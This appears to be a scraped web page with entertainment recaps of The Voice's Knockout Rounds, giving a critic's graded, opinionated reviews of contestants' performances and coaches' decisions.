Team Jennifer: Davon Fleming singing “I Can Only Imagine” (Grade: A-) defeated Eric Lyn singing “What’s Going On” (Grade: C+) | Before this Knockout had even begun, I suspected we were looking at Janice vs. Karli, Part 2 — one humongous voice up against one… er, less giant one. To his credit, Eric made the most of his time on stage, establishing himself as a perfectly competent R&B singer… whose concert you’d be unlikely to buy a ticket to. Not because he can’t sing — he can, quite nicely. It’s just, he generates approximately zero excitement. Davon, on the other hand, gives off the vibe of a live wire — you can’t take your eyes off him. Here, he sang with a forcefulness that could have blown open the pearly gates. And that one long note — hello! We’ve got ourselves a contender!

Team Miley: Ashland Craft singing “Wanted Dead or Alive” (Grade: C) defeated Chloe Kohanski singing “Landslide” (Grade: B) — Chloe stolen by Blake | I love me some Ashland as much as I love me some grits (and, cheesy or not, I love me some grits). But WTH happened to her Monday? Though on stage she still sounded as country as a dirt road, that road went in circles; either, she’d altered the melody of the Bon Jovi classic so much that it sounded dodgy, or she was, as I feared, bungling notes right and left, resulting in her sounding dodgy. Either way, it left the path clear for Chloe to come in and, by comparison, shine with an intense, controlled cover of Fleetwood Mac.

So, what did you think of Kelly as key adviser? Who, in your opinion, gave a performance that really deserved to be called a Knockout? Vote in the polls below, then hit the comments.

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]]> https://briefnews.eu/the-voice-knockouts-recap-did-an-american-idol-have-the-x-factor/feed/ 0 Voice Knockouts Recap: Hey, Watch It! https://briefnews.eu/voice-knockouts-recap-hey-watch-it/ https://briefnews.eu/voice-knockouts-recap-hey-watch-it/#respond Tue, 04 Apr 2017 02:19:26 +0000 http://briefnews.eu/voice-knockouts-recap-hey-watch-it/ Starting its Season 12 Knockout Rounds Monday, The Voice threw a curveball at its contestants, allowing the pairs who’d be competing with one another to keep their spots to watch each other rehearse. Mind you, I’m not sure how big a curveball that really was since they’d all certainly gotten to see what their opponent-of-the-week was up to/capable of during the Battle Rounds. And could it possibly have been any more awkward than sitting on stage and idly observing as your rival sang their ass off in hopes of sending you packing? Anyway, the twist did manage to rattle a coupla vocalists. But did it throw them off their game so much that they went down for the count? Read on.

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Team Alicia: Chris Blue singing “Superstition” defeated Quizz Swanigan singing “Chains” (Quizz stolen by Gwen) | Though Chris paid lip service to Quizz’s talent making him nervous in rehearsals, his voice fit the Stevie Wonder classic like a pair of shades. And good God, does that guy have stage presence! I wasn’t nuts about Alicia’s “modern” breakdown mid-song, but still, he was just an impossible act to follow. When Quizz nonetheless had to perform after him, he exhibited great charisma and a strong, promising voice. Thing was, Chris’ voice was already a promise kept.

Team Adam: Hanna Eyre singing “Bleeding Love” defeated Autumn Turner singing “Respect” | In rehearsals, young Hanna came off a bit more anxious about her competition than did girl-group veteran Autumn (who was complimentary but not exactly thrown). On stage, while she’s no Aretha — no one is — Autumn demanded R-E-S-P-E-C-T with a gutsiness that I’d give a B (maybe a B-M-I-N-U-S — she’s no Felicia Temple, either). Then Hanna took her turn, singing with at times impressive clarity, at times… er, not. Between her shakiness and lack of stage presence — adorable doesn’t count as stage presence, does it? — she seemed a shoo-in to be sent packing and yet wasn’t.

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the voice knockout rounds hunter plake johnny gatesTeam Gwen: Hunter Plake singing “I Want to Know What Love Is” defeated Johnny Gates singing “Million Reasons” | Even though rewriting hits is one of the coach’s pet peeves, Gwen couldn’t resist Hunter’s modernization of the Foreigner smash in rehearsals — with good reason: It was pretty awesome. On stage, Hunter knocked it out of the park, his haunting rendition largely lacking the cheese that’s ordinarily served with the original. In his turn in the spotlight, Johnny started off as mumbly as Bob Dylan, but was soaring by the time he reached the chorus, making this Knockout a real fight, albeit one he was destined to lose. The combo platter of Hunter’s emotion-packed voice and his inventiveness overcame even Gwen’s dislike of revamped classics.

Team Blake: Casi Joy singing “My Church” defeated Felicia Temple singing “My Heart Will Go On” | Listening to Casi rehearse, Felicia suggested that she was a pro at “how to give people a heart attack.” But maybe the lady doth protest too much — she packed enough power into her Celine Dion cover to turn an iceberg into a Slushee. On stage, Casi attacked the Maren Morris hit she was covering with a polished growl that was the equivalent of a mic drop. She was every inch, every note, a star. Up second, Felicia… uh-oh. My beloved Felicia got off to a wobbly start. She recovered on the big notes, especially her dazzling, long last one. But by then, it was too late. Casi had nailed it; Felicia, at best had stapled it.

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Team Adam: Josh West singing “Carry On Wayward Son” defeated Johnny Hayes singing “Statesboro Blues” | In rehearsals, Josh was wisely intimidated by Johnny’s authentically raspy voice — some things, even amazing rock hair just can’t beat. During their Knockout, Johnny sounded so at home spitting gravel on the Allman Brothers Band hit that he might as well have had his mail forwarded there. (And that last note… da-amn!) In Josh’s turn, he sounded — as he did, I recall, during his Blind Audition — more theatrical than rock. He put a lot of power behind every note, sure — and delivered a memorable kick — but overall came off more Rock of Ages than rock-‘n’-roll. So you can imagine how loudly I yelled “What?!?” when Adam dismissed Johnny instead. I repeat: What?!?

the voice recap knockout rounds lilli passeroTeam Alicia: Ashley Levin singing “Fancy” defeated Lilli Passero singing “Tears Dry on Their Own” (Lilli stolen by Adam) | In rehearsals, Ashley slayed as soon as she connected with the emotion of the Reba hit; Lilli got what Alicia called “a million percent” better once she drunked up the Amy Winehouse classic. On stage, Ashley was fine, but (sorry) mostly just fine, until toward the end of her number. When she decided that it was time to go for broke, she lost control of her vocal and sounded like she had pulled a muscle. By contrast, Lilli looked and sounded entirely in her element — as Blake pointed out, like she was doing what she was born to. Her performance was jazzy and sultry, and went down as smoothly as a second glass of vino. So again, I found myself yelling, “What?!?” and even, “WTF?!?” when Alicia chose Ashley over Lilli, leaving the singer who’s probably my fave (along with Chris Blue) free for Blake and Adam to fight over.

OK, your turn. Who did you think gave the night’s best and worst performances? Have you singled out a Season 12 winner? Hit the comments.

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